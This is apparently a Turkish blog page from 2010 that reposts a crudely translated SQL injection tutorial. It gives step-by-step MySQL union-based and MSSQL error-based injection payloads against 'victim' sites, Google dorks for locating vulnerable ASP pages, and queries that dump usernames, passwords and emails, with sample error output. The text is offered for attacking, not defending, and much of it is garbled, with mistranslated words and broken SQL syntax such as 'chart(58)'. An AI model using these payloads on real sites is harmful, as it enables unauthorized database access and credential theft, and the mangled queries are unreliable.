Sql injection: Temmuz 2010

Yüzeysel Olarak Buradan Bakalım Gittikçe Detaya İneceğiz

1. SQL-Tutorial-injetion
######################

1.1 What is SQL-injetion?
1.2 Try this page for vulnerability!
1.3 How to discover what numbers of kolumnave exist?
1.4 Try to select the function UNION!
1.5 How to discover the version of MySQL?
1.6 How to discover Table_name?
1.7 How to discover Column_name?
1.8 Conclusion?

============================
1.1 What is SQL-injetion?
============================

-SQL-injetion is therefore one of the methods used most days sodit to get access to any website.
This method gives permission to the attacker's attacks via a URL.
With this method the attacker has access to information different from MySQL's (username, passwords), different logins, access the page management, etc ... CC

====================================
1.2 Try this page for vulnerability!
====================================

We say that something such:

------------------------------------
http://www.site.com/vesti.php?id=1
------------------------------------

Now that the page is testojm that vulnerability, or simply have a go and it buggs add ( ') so presjen up, which will appear thus:

------------------------------------
http://www.site.com/vesti.php?id=1 '
------------------------------------

So after this action, if we give any error as such.
++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++++++++++++
"You have an error in your SQL syntax;" or "Warning: mysql_result () [function.mysql-Result]"
++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++++++++++++

By this means the page is vulnerability, so has concessions!

================================================== ===
1.3 How to discover what numbers of kolumnave exist?
================================================== ===

To find out how we use it Kolumna: Order by
So "order by" without a comma will helps us to find how many pages we have kolumna victim, go with the example:

-------------------------------------------------- -------------------------------------------------- --
http://www.site.com/vesti.php?id=1 order by 1 - <-> opens the site gives us not so normal Error
-------------------------------------------------- -------------------------------------------------- --
http://www.site.com/vesti.php?id=1 order by 2 - <-> opens the site gives us not so normal Error
-------------------------------------------------- -------------------------------------------------- --
http://www.site.com/vesti.php?id=1 order by 3 - <-> opens the site gives us not so normal Error
-------------------------------------------------- -------------------------------------------------- --
http://www.site.com/vesti.php?id=1 order by 4 - <-> opens the site gives us not so normal Error
-------------------------------------------------- -------------------------------------------------- --
http://www.site.com/vesti.php?id=1 Order by 5 - <-> Error page - So here we have error!
-------------------------------------------------- -------------------------------------------------- --

-With this mean that we have to this page 4 Kolumna, so the last marim number which does not error!

=======================================
1.4 Try to select the function UNION!
=======================================

So now will prove to nxjerim numbers kolumnave and other data in the window, through the "union select".

If you have 4 numbers in the kolumnave example would looked something like this:

-------------------------------------------------- -------------
http://www.site.com/vesti.php?id=1 union select 1,2,3,4 --
-------------------------------------------------- -------------

If the window shown us any of the numbers from 1-4 is good and works quite OK, but if not then try to add the nji - (minus) before the "1 (nj?shi)" So first, the numbers can change may be 50,71,9999 etc example:

-------------------------------------------------- -----------------
http://www.site.com/vesti.php?id=-50 union select 1,2,3,4 --
-------------------------------------------------- -----------------
http://www.site.com/vesti.php?id=-71 union select 1,2,3,4 --
-------------------------------------------------- -----------------
http://www.site.com/vesti.php?id=-9999 union select 1,2,3,4 --
-------------------------------------------------- -----------------

Must now show any of 4 numbers from 1-4.
If any of these numbers appear, then everything is OK!

=========================================
1.5 How to discover the version of MySQL?
=========================================

How to discover the version of MySQL is easy, this can make replacing the kolumnes this "@ @ version."
Then we should show what version is present in the victim page.
Say that the number which appears in the window is 3-rain, to show the clear will tell you the example below.

-------------------------------------------------- ------------------------
http://www.site.com/vesti.php?id=-9999 union select 1.2, @ @ version .4 --
-------------------------------------------------- ------------------------

And now with us will be displayed in the windows version.
It should be noted that the version 5.xx, we can get tables & kolumnat using function "INFORMATION_SCHEMA" while the older versions with this possibility does not exist or function.

=============================
1.6 How to discover Table_name?
=============================

As I mentioned above and that there is a small problem to older versions of MySQL's (4.xx 3.xx, etc.).
For this reason you will have once acted as if the version of MySQL, it is then for the 4.xx versions 5.xx

VERSION 4.x.x
To find older versions on table_name (4.xx, 3.xx) skemi any way out except to try and tables by rote, using a little logic.
For these versions is preferable to get a list of the major tables and try.
As the tables used are: users, user, admin, Admins, member, members, login, Administrators, mysql.user etc. ..

VERSION 5.x.x
Now note that if the page has 5.xx version is easier because now we can decide we use the function "INFORMATION_SCHEMA.TABLES" to detect and Tables "INFORMATION_SCHEMA.COLUMNS" kolumnat.

To find tables going to the example as follows:

-------------------------------------------------- -------------------------------------------------- ------
http://www.site.com/vesti.php?id=-9999 union select 1.2, table_name, 4 + from + information_schema.tables---
-------------------------------------------------- -------------------------------------------------- ------

Then replace the table_name the number that appears in our window, and then we must shafqen table.

===============================
1.7 How to discover Column_name?
===============================
The same applies to finding kolumnave (column_name) as the table_name!

VERSION 4.x.x
As with kolumna used are: username, user, user_name, usr, usn, pass, password, passwd, pwd, email, etc ... emailadress

VERSION 5.x.x
To reveal the names of kolumnave and as I said before is the same as off the table that only in this case, we must place writes tables set column / s.

Go to the display with this example:
-------------------------------------------------- -------------------------------------------------- -------
http://www.site.com/vesti.php?id=-82 union select 1.2, column_name, 4 + from + information_schema.columns---
-------------------------------------------------- -------------------------------------------------- -------

Now to choose only one table and to detect only the names of its kolumnave go as example:

-------------------------------------------------- -------------------------------------------------- ------------------------------
http://www.site.com/vesti.php?id=-82 union select 1.2, column_name, information_schema.columns + 4 + from + where + table_name = Users --
-------------------------------------------------- -------------------------------------------------- ------------------------------

So in this case would appear only for column_name Table "Users".

Now for the end to say that is table_name (users) and are column_name (username, password, email).

So we must act to appear on the data from MySQL:

-------------------------------------------------- -------------------------------------------------- -------------------------
http://www.site.com/vesti.php?id=-71 union select 1.2, concat (username, chart (58), password, chart (58), email), 4 from users --
-------------------------------------------------- -------------------------------------------------- -------------------------

Concat () = used to bashkur 2.3 .. kolumna or more in one place.
Chart (58) = Jane colon (:) that makes the separation between column_name (of)!

================
1.8 Conclusion?
================

And as a result of the post will be all Links in a country that have to be based with easy!

================================================== ================================================== ==========================
http://www.site.com/vesti.php?id=1
-------------------------------------------------- -------------------------------------------------- --------------------------
http://www.site.com/vesti.php?id=1 '
-------------------------------------------------- -------------------------------------------------- --------------------------
http://www.site.com/vesti.php?id=1 order by 1 - <-> opens the site gives us not so normal Error
-------------------------------------------------- -------------------------------------------------- --------------------------
http://www.site.com/vesti.php?id=1 order by 2 - <-> opens the site gives us not so normal Error
-------------------------------------------------- -------------------------------------------------- --------------------------
http://www.site.com/vesti.php?id=1 order by 3 - <-> opens the site gives us not so normal Error
-------------------------------------------------- -------------------------------------------------- --------------------------
http://www.site.com/vesti.php?id=1 order by 4 - <-> opens the site gives us not so normal Error
-------------------------------------------------- -------------------------------------------------- --------------------------
http://www.site.com/vesti.php?id=1 Order by 5 - <-> Error page - So here we have error!
-------------------------------------------------- -------------------------------------------------- --------------------------
http://www.site.com/vesti.php?id=1 union select 1,2,3,4 --
-------------------------------------------------- -------------------------------------------------- --------------------------
http://www.site.com/vesti.php?id=-9999 union select 1,2,3,4 --
-------------------------------------------------- -------------------------------------------------- --------------------------
http://www.site.com/vesti.php?id=-9999 union select 1.2, @ @ version .4 --
-------------------------------------------------- -------------------------------------------------- --------------------------
http://www.site.com/vesti.php?id=-9999 union select 1.2, table_name, 4 + from + information_schema.tables---
-------------------------------------------------- -------------------------------------------------- --------------------------
http://www.site.com/vesti.php?id=-82 union select 1.2, column_name, 4 + from + information_schema.columns---
-------------------------------------------------- -------------------------------------------------- --------------------------
http://www.site.com/vesti.php?id=-82 union select 1.2, column_name, information_schema.columns + 4 + from + where + table_name = Users --
-------------------------------------------------- -------------------------------------------------- --------------------------
http://www.site.com/vesti.php?id=-71 union select 1.2, concat (username, chart (58), password, chart (58), email), 4 from users --
================================================== ================================================== ==========================

____________________________________________________________________________________________________________________________________
################################################## ################################################## ################################

2. MSSQL - injection, method of attack!
######################################

2.1 Introduction
2.2 How to seek site vulnerability?
2.3 How to prove that a site is vulnerability?
2.4 How to discover version / name of the DB's?
2.5 How to discover the names of the tables (table_name)?
2.6 How to discover names of kolumnave (column_name)?
2.7 How to retrieve data from tables that interest us (eg, username, pass, email etc)?
2.8 Conclusion?

[INTRODUCTION 2.1]
###############

P?rsh?detje!
In this lesson, will you try to explain a technique to other already known, MSSQL-injection.
So you will have the opportunity to learn how this method is used, acting as the PET to obtain information (username, password, or logins) or various other info through this technique.
MSSQL-injection, can be used for products which are created by a company known Microsoft.
This type of injection, then deal with those pages which are coded in SSI / ASPX etc..

There are several types of attacks on this method as:

* - Normal MSSQL SQL Injection Attack
* - MSSQL Injection in Web Services (SOAP Injection)
* - MSSQL Injection Attack with UNION
* - ODBC Error Message Attack with "convert"
* - MSSQL Blind SQL Injection Attack, etc. ..

For this writing will use this type of attack:
"ODBC Error Message Attack with" convert "

[2.2 As demand vulnerability page? ]
############################################

How to look for pages that are vulnerability, is easy. This can make using the services of the Company GOOGLE gigante.

Go open: www.google.com

And write eg: inurl: ". Asp" id "
inurl: "news.asp" menu "
inurl: "content.asp" "sub"
inurl: "games.asp" id "
ETC ....( I decided a few examples, you now use the logic, for dorks best)

[2.3 How to prove that a site is vulnerability? ]
################################################## ######

This can be easily understood after adding id's of pages a high comma ( ').
And if we give our reply by displaying any error meant that the site is such vulnerability:

++++++++++++++++++++++++++++++++++++++
/ ODBC Microsoft Access Driver /
++++++++++++++++++++++++++++++++++++++
/ Unclosed quotation mark /
++++++++++++++++++++++++++++++++++++++
/ Microsoft Ole DB Provider for Oracle /
++++++++++++++++++++++++++++++++++++++
/ Division by zero in /
++++++++++++++++++++++++++++++++++++++

These are some of the most frequent responses that appear on the page that are vulnerability to MSSQL - injection.

Now as an example the act must, therefore, must decide where presjen high ( ').

For example:
--------------------------------------
www.localhost.com/lajmi.asp?id=100 '
--------------------------------------

Now we say that an error is displayed:

++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
Microsoft Ole DB Provider for SQL Server error'80040e14 '

Unclosed quotation mark after the character string ') AND (Volgorde> 0) Order by Volgorde'.

/ msn / shared / includes / main_rub.asp, line 4
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++

So the page is vulnerability?

[2.4 How to discover version / name of the DB's? ]
#################################################

Go with the example easier to understand:

Version:
-------------------------------------------------- ------------------
www.localhost.com/lajmi.asp?id=100 + or +1 = convert (int, (@ @ version)) --
-------------------------------------------------- ------------------

And we will appear for example:
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++
Microsoft Ole DB Provider for SQL Server error'80040e07 '

Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2008 (SP1) - 10.0.2531.0 (X64) Mar 29 2009 10:11:52 Copyright (c) 1988-2008 Microsoft Corporation Standard Edition (64-bit) on Windows NT 6.0 (Build 6002: Service Pack 2) (VM) 'to data type int.

/ msn / shared / includes / main_rub.asp, line 4
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++

Now go to discover Db_Name:
-------------------------------------------------- -------------------
www.localhost.com/lajmi.asp?id=100 + or +1 = convert (int, (db_name ()))--
-------------------------------------------------- -------------------

eg.
++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++
Microsoft Ole DB Provider for SQL Server error'80040e07 '

Conversion failed when converting the nvarchar value 'KHG_CREW_DB' to data type int.

/ msn / shared / includes / main_rub.asp, line 4
++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++

[2.5 How to discover the names of the tables (table_name)]
################################################## # # # #

For discovered or simply to find the plates of any page go through this method.

For example:
-------------------------------------------------- -------------------------------------------------- --------------
www.localhost.com/lajmi.asp?id=100 + or +1 = convert (int, (select top 1 table_name from information_schema.tables)) --
-------------------------------------------------- -------------------------------------------------- --------------
And now an error will be displayed such as:

++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
Microsoft Ole DB Provider for SQL Server error'80040e07 '

Conversion failed when converting the nvarchar value 'Users' to data type int.

/ msn / shared / includes / main_rub.asp, line 4
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++

So in this case the table (table_name) is the first 'Users', now go to find the next table:

For example:
-------------------------------------------------- -------------------------------------------------- ------------------------------------------------
www.localhost.com/lajmi.asp?id=100 + or +1 = convert (int, (select top 1 table_name from information_schema.tables where table_name not in ( 'Users')))--
-------------------------------------------------- -------------------------------------------------- ------------------------------------------------

And will now appear an error of njejt and will give the second table:

++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
Microsoft Ole DB Provider for SQL Server error'80040e07 '

Conversion failed when converting the nvarchar value 'news' to data type int.

/ msn / shared / includes / main_rub.asp, line 4
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++

Tables in this case is' news'

Now to find the Table (table_name) third go so:

For example:
-------------------------------------------------- -------------------------------------------------- -------------------------------------------------- ---------
www.localhost.com/lajmi.asp?id=100 + or +1 = convert (int, (select top 1 table_name from information_schema.tables where table_name not in ( 'Users',' news')))--
-------------------------------------------------- -------------------------------------------------- -------------------------------------------------- ---------

And we will show the third table:

++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
Microsoft Ole DB Provider for SQL Server error'80040e07 '

Conversion failed when converting the nvarchar value 'categories' to data type int.

/ msn / shared / includes / main_rub.asp, line 4
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++

The third table is therefore 'categories', and continue so on until you discover all the tables.

For example:
-------------------------------------------------- -------------------------------------------------- -------------------------------------------------- -----------------------
www.localhost.com/lajmi.asp?id=100 + or +1 = convert (int, (select top 1 table_name from information_schema.tables where table_name not in ( 'Users',' news', 'categories'))) --
-------------------------------------------------- -------------------------------------------------- -------------------------------------------------- -----------------------

[2.6 How to discover names of kolumnave (column_name)]
################################################## ######

-If you want to nxjerim column_name of table 'Users' go:

For example:
-------------------------------------------------- -------------------------------------------------- -----------------------------------------
www.localhost.com/lajmi.asp?id=100 + or +1 = convert (int, (select top 1 column_name from information_schema.columns where table_name = 'Users'))--
-------------------------------------------------- -------------------------------------------------- -----------------------------------------
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
Microsoft Ole DB Provider for SQL Server error'80040e07 '

Conversion failed when converting the nvarchar value 'Username' to data type int.

/ msn / shared / includes / main_rub.asp, line 4
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++

So the name of kolumn?s first table (table_name) 'Users' is' username'

Now go find kolumn?n (column_name) for the second the same table 'Users':

For example:
-------------------------------------------------- -------------------------------------------------- -------------------------------------------------- --------------------------
www.localhost.com/lajmi.asp?id=100 + or +1 = convert (int, (select top 1 column_name from information_schema.columns where table_name = 'Users' and column_name not in (' username')))--
-------------------------------------------------- -------------------------------------------------- -------------------------------------------------- --------------------------
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
Microsoft Ole DB Provider for SQL Server error'80040e07 '

Conversion failed when converting the nvarchar value 'password' to data type int.

/ msn / shared / includes / main_rub.asp, line 4
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++

Name kolumnes (column_name) the second is' password ', now go find the next column_name:

For example:
-------------------------------------------------- -------------------------------------------------- -------------------------------------------------- ---------------------------------------
www.localhost.com/lajmi.asp?id=100 + or +1 = convert (int, (select top 1 column_name from information_schema.columns where table_name = 'Users' and column_name not in (' username ',' password ') )) --
-------------------------------------------------- -------------------------------------------------- -------------------------------------------------- ---------------------------------------
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
Microsoft Ole DB Provider for SQL Server error'80040e07 '

Conversion failed when converting the nvarchar value 'emailaddress' to data type int.

/ msn / shared / includes / main_rub.asp, line 4
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++

So is the third Colum_name 'emailaddress' and so forth continue until the end, so as to find you all kolumnat (column_name)!

[2.7 How to get us interested in the data (username, pass, email, etc.)]
################################################## ##########################

To do so we do not have anything that we noted from ndyshe ago.
In this part of the whole that must be done is to zeven?sojm? Table (table_name), and the names of kolumnave (column_name) in their countries that previously have found.

For this part we will use:
Table_name = Users
Column_name = username, password, emailaddress!

Now going to replace, for example:
-------------------------------------------------- -----------------------------------------
www.localhost.com/lajmi.asp?id=100 + or +1 = convert (int, (select top 1 username from Users)) --
-------------------------------------------------- -----------------------------------------
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
Microsoft Ole DB Provider for SQL Server error'80040e07 '

Conversion failed when converting the nvarchar value 'admin' to data type int.

/ msn / shared / includes / main_rub.asp, line 4
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++

username: Admin

Kolumn?n now replace the first "username" with the second kolumn?n "password":

For example:
-------------------------------------------------- -----------------------------------------
www.localhost.com/lajmi.asp?id=100 + or +1 = convert (int, (select top 1 password from Users)) --
-------------------------------------------------- -----------------------------------------

++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
Microsoft Ole DB Provider for SQL Server error'80040e07 '

Conversion failed when converting the nvarchar value'123456 'to data type int.

/ msn / shared / includes / main_rub.asp, line 4
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++

password: 123456

Now to replace the rotating kolumnat act the same as above:

For example:
-------------------------------------------------- ---------------------------------------------
www.localhost.com/lajmi.asp?id=100 + or +1 = convert (int, (select top 1 from Users emailaddress)) --
-------------------------------------------------- ---------------------------------------------

emailaddress: boom3rang@live.com

Here then we have to take some of the info-such as username / pass and emailaddress of a page.

username: Admin
password: 123456
emailaddress: boom3rang@live.com

[2.8 Conclusion]
###################

And here as the outcome will postojm All Links!

================================================== ================================================== ================================================== =======================================
www.localhost.com/lajmi.asp?id=100 '
-------------------------------------------------- -------------------------------------------------- -------------------------------------------------- ---------------------------------------
www.localhost.com/lajmi.asp?id=100 + or +1 = convert (int, (@ @ version)) --
-------------------------------------------------- -------------------------------------------------- -------------------------------------------------- ---------------------------------------
www.localhost.com/lajmi.asp?id=100 + or +1 = convert (int, (db_name ()))--
-------------------------------------------------- -------------------------------------------------- -------------------------------------------------- ---------------------------------------
www.localhost.com/lajmi.asp?id=100 + or +1 = convert (int, (select top 1 table_name from information_schema.tables)) --
-------------------------------------------------- -------------------------------------------------- -------------------------------------------------- ---------------------------------------
www.localhost.com/lajmi.asp?id=100 + or +1 = convert (int, (select top 1 table_name from information_schema.tables where table_name not in ( 'Users')))--
-------------------------------------------------- -------------------------------------------------- -------------------------------------------------- ---------------------------------------
www.localhost.com/lajmi.asp?id=100 + or +1 = convert (int, (select top 1 table_name from information_schema.tables where table_name not in ( 'Users',' news')))--
-------------------------------------------------- -------------------------------------------------- -------------------------------------------------- ---------------------------------------
www.localhost.com/lajmi.asp?id=100 + or +1 = convert (int, (select top 1 table_name from information_schema.tables where table_name not in ( 'Users',' news', 'categories'))) --
-------------------------------------------------- -------------------------------------------------- -------------------------------------------------- ---------------------------------------
www.localhost.com/lajmi.asp?id=100 + or +1 = convert (int, (select top 1 column_name from information_schema.columns where table_name = 'Users'))--
-------------------------------------------------- -------------------------------------------------- -------------------------------------------------- ---------------------------------------
www.localhost.com/lajmi.asp?id=100 + or +1 = convert (int, (select top 1 column_name from information_schema.columns where table_name = 'Users' and column_name not in (' username')))--
-------------------------------------------------- -------------------------------------------------- -------------------------------------------------- ---------------------------------------
www.localhost.com/lajmi.asp?id=100 + or +1 = convert (int, (select top 1 column_name from information_schema.columns where table_name = 'Users' and column_name not in (' username ',' password ') )) --
-------------------------------------------------- -------------------------------------------------- -------------------------------------------------- ---------------------------------------
www.localhost.com/lajmi.asp?id=100 + or +1 = convert (int, (select top 1 username from Users)) --
-------------------------------------------------- -------------------------------------------------- -------------------------------------------------- ---------------------------------------
www.localhost.com/lajmi.asp?id=100+or+1=convert(int,(select top 1 password from Users))--
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
www.localhost.com/lajmi.asp?id=100+or+1=convert(int,(select top 1 emailaddress from Users))--
=============================================================================================================================================================================================

Sql injection

16 Temmuz 2010 Cuma

Crack MD5 Password Hash Online

FTPS

Zaman Tabanlı Full-Blind SQL Injection

Asp sitelerde Sql İnjection

Mysql İnjection Rfi Oluşturma

SQL injection tutorial

Merhaba Dünya(Klasik Başlık:)